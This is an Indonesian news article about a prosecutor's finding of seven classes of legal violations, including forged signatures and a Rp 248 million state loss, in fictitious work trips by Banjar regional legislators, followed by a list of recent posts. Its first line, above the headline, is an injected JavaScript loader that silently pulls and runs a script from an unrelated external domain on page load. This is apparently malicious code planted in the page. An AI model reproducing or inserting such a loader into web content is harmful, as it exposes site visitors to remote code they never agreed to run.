(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ada 7 Klasifikasi Pelanggaran Hukum dalam Kasus Kunker Fiktif DPRD Banjar


MARTAPURA, Ada tujuh klasifikasi perbuatan melanggar ketentuan hukum dalam kasus perjalanan kerja (kunker) yang diduga fiktif oleh sejumlah anggota DPRD Banjar. Termasuk dalam tujuh klasifikasi perbuatan melanggar hukum itu, adalah pencairan dana kunker dengan cara pemalsuan tanda tangan.

Hal tersebut disampaikan Slamet Siswanta, Kepala Kejaksaan Negeri (Kajari) Banjar terkait hasil gelar perkara internal yang dilaksanakan sehari sebelumnya, Selasa (31/10).

“Ada tujuh klasifikasi perbuatan yang melanggar hukum,” terangnya tanpa merinci lebih jauh.

Tentang besaran kerugian dari aksi curang para wakil rakyat ini, Slamet mengatakan, dari hasil perhitungan yang dilakukan pihak kejari, besaran nilai kerugian negara sebesar Rp 248 juta.  Namun  menurutnya, nominal kerugian negara itu bukan tidak mungkin lebih banyak lagi karena saat ini pihaknya juga sedang menunggu hasil audit investigasi yang dilakukan BPKP.

“Mudah-mudahan secepatnya dapat diketahui hasil audit yang dilakukan BPKP,” kata Slamet. (Baca: Janggal, Penyidikan Perjalanan Dinas Fiktif DPRD Banjar Tanpa Nama Tersangka!)

Pengusutan kasus diawali dari bocornya praktik perjokian kunker ke Surabaya, Jatim tengah tahun 2016 lalu. Panjang proses penyeledikan yang dimulai sejak awal tahun 2017, menjadi kejanggalan berikutnya.

Tak ayal, hal ini memunculkan prasangka publik, kalau Kejari sengaja memberikan waktu bagi anggota dewan untuk mengembalikan dana kunker. Minim kerugian negara, menjadi alibi yang kemudian dilontarkan pihak kejaksaan.

Kekhawatiran akan munculnya aksi tebang pilih, diharapkan tidak akan dilakukan. Artinya, siapapun yang terlibat, baik anggota atau pun unsur pimpinan, semestinya mendapat perlakuan sama jika ada bukti-bukti kuat.

Apalagi, kenyataannya dewan juga tak jera! Meski tengah dibidik dalam kasus itu, tapi praktik yang sama masih dilakukan. Seperti dilakukan Wakil DPRD Banjar, Iqbal Khalilurrahman. Tak hadir dalam agenda kunker, politisi dari Partai PKB ini justru mengutus orang lain menggantikan dirinya.

Yang disayangkan, jajaran Sekretariat DPRD Banjar ikut-ikut menutupi semua informasi terkait perjalanan dinas para wakil rakyat. Sekretaris DPRD Banjar, Iberahin G Intan misalnya, selalu berdalih saat ingin dimintai keterangan dan data terkait agenda kunker dewan kurun waktu 2017 ini. (rudiyanto)


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

6 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

7 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

8 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

8 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

8 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

9 jam ago

This website uses cookies.